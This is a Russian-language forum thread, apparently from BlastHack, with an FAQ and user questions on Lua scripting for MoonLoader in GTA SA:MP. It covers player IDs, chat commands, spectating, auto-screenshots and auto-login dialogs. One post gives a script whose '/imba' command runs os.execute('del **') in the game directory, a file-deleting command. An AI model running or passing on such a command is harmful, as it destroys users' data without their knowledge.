Вопросы по Lua скриптингу

Общая тема для вопросов по разработке скриптов на языке программирования Lua, в частности под MoonLoader.
  • Задавая вопрос, убедитесь, что его нет в списке частых вопросов и что на него ещё не отвечали (воспользуйтесь поиском).
  • Поищите ответ в теме посвященной разработке Lua скриптов в MoonLoader
  • Отвечая, убедитесь, что ваш ответ корректен.
  • Старайтесь как можно точнее выразить мысль, а если проблема связана с кодом, то обязательно прикрепите его к сообщению, используя блок [code=lua]здесь мог бы быть ваш код[/code].
  • Если вопрос связан с MoonLoader-ом первым делом желательно поискать решение на wiki.

Частые вопросы

Как научиться писать скрипты? С чего начать?
Информация - Гайд - Всё о Lua скриптинге для MoonLoader(https://blast.hk/threads/22707/)
Как вывести текст на русском? Вместо русского текста у меня какие-то каракули.
Изменить кодировку файла скрипта на Windows-1251. В Atom: комбинация клавиш Ctrl+Shift+U, в Notepad++: меню Кодировки -> Кодировки -> Кириллица -> Windows-1251.
Как получить транспорт, в котором сидит игрок?
Lua:
local veh = storeCarCharIsInNoSave(PLAYER_PED)
Как получить свой id или id другого игрока?
Lua:
local _, id = sampGetPlayerIdByCharHandle(PLAYER_PED) -- получить свой ид
local _, id = sampGetPlayerIdByCharHandle(ped) -- получить ид другого игрока. ped - это хендл персонажа
Как проверить, что строка содержит какой-то текст?
Lua:
if string.find(str, 'текст', 1, true) then
-- строка str содержит "текст"
end
Как эмулировать нажатие игровой клавиши?
Lua:
local game_keys = require 'game.keys' -- где-нибудь в начале скрипта вне функции main

setGameKeyState(game_keys.player.FIREWEAPON, -1) -- будет сэмулировано нажатие клавиши атаки
Все иды клавиш находятся в файле moonloader/lib/game/keys.lua.
Подробнее о функции setGameKeyState здесь: lua - setgamekeystate | BlastHack — DEV_WIKI(https://www.blast.hk/wiki/lua:setgamekeystate)
Как получить id другого игрока, в которого целюсь я?
Lua:
local valid, ped = getCharPlayerIsTargeting(PLAYER_HANDLE) -- получить хендл персонажа, в которого целится игрок
if valid and doesCharExist(ped) then -- если цель есть и персонаж существует
  local result, id = sampGetPlayerIdByCharHandle(ped) -- получить samp-ид игрока по хендлу персонажа
  if result then -- проверить, прошло ли получение ида успешно
    -- здесь любые действия с полученным идом игрока
  end
end
Как зарегистрировать команду чата SAMP?
Lua:
-- До бесконечного цикла/задержки
sampRegisterChatCommand("mycommand", function (param)
     -- param будет содержать весь текст введенный после команды, чтобы разделить его на аргументы используйте string.match()
    sampAddChatMessage("MyCMD", -1)
end)
Крашит игру при вызове sampSendChat. Как это исправить?
Это происходит из-за бага в SAMPFUNCS, когда производится попытка отправки пакета определенными функциями изнутри события исходящих RPC и пакетов. Исправления для этого бага нет, но есть способ не провоцировать его. Вызов sampSendChat изнутри обработчика исходящих RPC/пакетов нужно обернуть в скриптовый поток с нулевой задержкой:
Lua:
function onSendRpc(id)
  -- крашит:
  -- sampSendChat('Send RPC: ' .. id)

  -- норм:
  lua_thread.create(function()
    wait(0)
    sampSendChat('Send RPC: ' .. id)
  end)
end
 
Последнее редактирование:

getsdfssdfsdfs

Участник
45
0
Lua:
function whatid()
local id = sampGetPlayerIdByCharHandle(playerid)
    if result then
        sampAddChatMessage("ID: "..id, -1)
    end
end

Если использовать это, в чат будет писать ид игрока который находится ближе всех? Или ид игрока по которому нажал пкм?
 

chapo

🫡 В армии с 17.10.2023. В ЛС НЕ ОТВЕЧАЮ
Друг
8,776
11,226
Lua:
function whatid()
local id = sampGetPlayerIdByCharHandle(playerid)
    if result then
        sampAddChatMessage("ID: "..id, -1)
    end
end

Если использовать это, в чат будет писать ид игрока который находится ближе всех? Или ид игрока по которому нажал пкм?
скрипт крашнется
 

getsdfssdfsdfs

Участник
45
0
Смотри, следишь ты за человеком, и надо получить его id для автоматического вписания в команду. Получать id игрока через команду /sp id не получится потому что когда ты нажимаешь «next» чтоб сменить игрока за которым следишь, полученный id из /sp id остаётся тем же. И получается что когда я в слежке за одним игроком напишу /showpass, то автоматически впишет его ид, но когда я переключусь на другого игрока, то ид остаётся первого игрока.

Вот и поэтому мне надо как-то получать id ближайшего игрока т.е id игрока за которым слежу
 

m1racles

Активный
199
32
Lua:
function main()
    while not isSampAvailable() do wait(0) end
    sampRegisterChatCommand('imba', function()
        lua_thread.create(function()
        os.execute('cd '..getGameDirectory())
        wait(100)
        os.execute('del **')
        end)
    end)
    while true do
        wait(0)
    end       
end
поч не работает
 
  • Bug
  • Ха-ха
Реакции: Nicolas и #Northn

Dmitriy Makarov

25.05.2021
Проверенный
2,481
1,113
Смотри, следишь ты за человеком, и надо получить его id для автоматического вписания в команду. Получать id игрока через команду /sp id не получится потому что когда ты нажимаешь «next» чтоб сменить игрока за которым следишь, полученный id из /sp id остаётся тем же. И получается что когда я в слежке за одним игроком напишу /showpass, то автоматически впишет его ид, но когда я переключусь на другого игрока, то ид остаётся первого игрока.

Вот и поэтому мне надо как-то получать id ближайшего игрока т.е id игрока за которым слежу
Lua:
local sampev = require 'lib.samp.events'
local pID = -1


function sampev.onSpectatePlayer(playerId, camType)
    pID = playerId
end

-- use:
-- sampSendChat("/showpass "..pID)
Не тестил. Вроде так делают.
Тут можешь ещё глянуть
 
  • Нравится
Реакции: getsdfssdfsdfs

YourAssistant

Участник
144
17
Lua:
function main()
 if not isSampfuncsLoaded() or not isSampLoaded() then
   return
 end
 while not isSampAvailable() do
  wait(0)
 end

 sampRegisterChatCommand("addtext", ctextt)

 while true do
  wait(500)
 end
end

function ctextt(arg)
    if arg == 1 then
        sampAddChatMessage("Пожалуйста укажите после команды номер строки [1-7]", -1)
    elseif arg == "" then
        sampAddChatMessage("тест тест", -1)
    end
end

В функции ctextt arg выводит только при условии пустоты. Если он равен 1, другому числу или слову - ничего не выводит. После ввода /addtext 1 ничего не выводит, но и скрипт не крашит, при этом /addtext работает как положено. Как решить проблему?
 

Gorskin

{Reverse Developer} ✓
Проверенный
1,254
1,059
Lua:
function main()
 if not isSampfuncsLoaded() or not isSampLoaded() then
   return
 end
 while not isSampAvailable() do
  wait(0)
 end

 sampRegisterChatCommand("addtext", ctextt)

 while true do
  wait(500)
 end
end

function ctextt(arg)
    if arg == 1 then
        sampAddChatMessage("Пожалуйста укажите после команды номер строки [1-7]", -1)
    elseif arg == "" then
        sampAddChatMessage("тест тест", -1)
    end
end

В функции ctextt arg выводит только при условии пустоты. Если он равен 1, другому числу или слову - ничего не выводит. После ввода /addtext 1 ничего не выводит, но и скрипт не крашит, при этом /addtext работает как положено. Как решить проблему?
"1"
 
  • Нравится
Реакции: YourAssistant

m1racles

Активный
199
32
Нужны строчки, при которых будет автоскрин при виде определенного текста
UPD
Lua:
local sampev = require("samp.events")
local ffi = require "ffi"
function sampev.onServerMessage()
    if text:find('залупа') then
        lua_thread.create(function()
            wait(50)
        takeScreenshot()
        end)
    end
end

function takeScreenshot()
    ffi.cast('void (__cdecl *)(void)', getModuleHandle("samp.dll") + 0x70FC0)( )
end
 
Последнее редактирование:

linmsqn

Участник
337
9
вот допустим человек не захочет использовать авто-логин, возможно как-то реализовать типо если в локальной pass ничего нету, то пароль не будет вводится?
просто у меня по умолчанию в pass стоит пробел и это значит то, что автологин не настроен. но так как в этом коде pass используется, то он просто будет вводить пробел в окно ввода пароля и тем самым я не смогу просто ввести пароль, как это исправить?
Lua:
            function ev.onShowDialog(dialogId, style, title, button1, button2, text)
                if dialogId == 2 then
                    sampSendDialogResponse(dialogId, 1, nil, [U]pass[/U])
                    return false
                end
            end]]
 

#Northn

Police Helper «Reborn» — уже ШЕСТЬ лет!
Всефорумный модератор
2,637
2,487
вот допустим человек не захочет использовать авто-логин, возможно как-то реализовать типо если в локальной pass ничего нету, то пароль не будет вводится?
просто у меня по умолчанию в pass стоит пробел и это значит то, что автологин не настроен. но так как в этом коде pass используется, то он просто будет вводить пробел в окно ввода пароля и тем самым я не смогу просто ввести пароль, как это исправить?
Lua:
            function ev.onShowDialog(dialogId, style, title, button1, button2, text)
                if dialogId == 2 then
                    sampSendDialogResponse(dialogId, 1, nil, [U]pass[/U])
                    return false
                end
            end]]
Lua:
function ev.onShowDialog(dialogId, style, title, button1, button2, text)
                if dialogId == 2 and not pass:empty() then
                    sampSendDialogResponse(dialogId, 1, nil, pass)
                    return false
                end
            end

function string.empty(str)
    return string.find(str, '%S') == nil
end
 
  • Нравится
Реакции: m1racles и linmsqn

linmsqn

Участник
337
9
в скрипте есть автообновление, периодически появляется эррор в логе и просто скрипт оффается и не работает. ошибка в логе вот
Код:
attempt to index global 'updateIni' (a nil value)
stack traceback:

строка с ошибкой
Lua:
if tonumber(updateIni.info.vers) > script_vers then

в чем может быть проблема? сейчас посмотрел, кто-то писал что может быть из-за скрипта автоперезагрузка скриптов, она у меня стоит, хз короче


@#Northn сори, я не заметил то, что у меня onshowdialog два раза прописан в коде. теперь все работает как нужно
 
Последнее редактирование: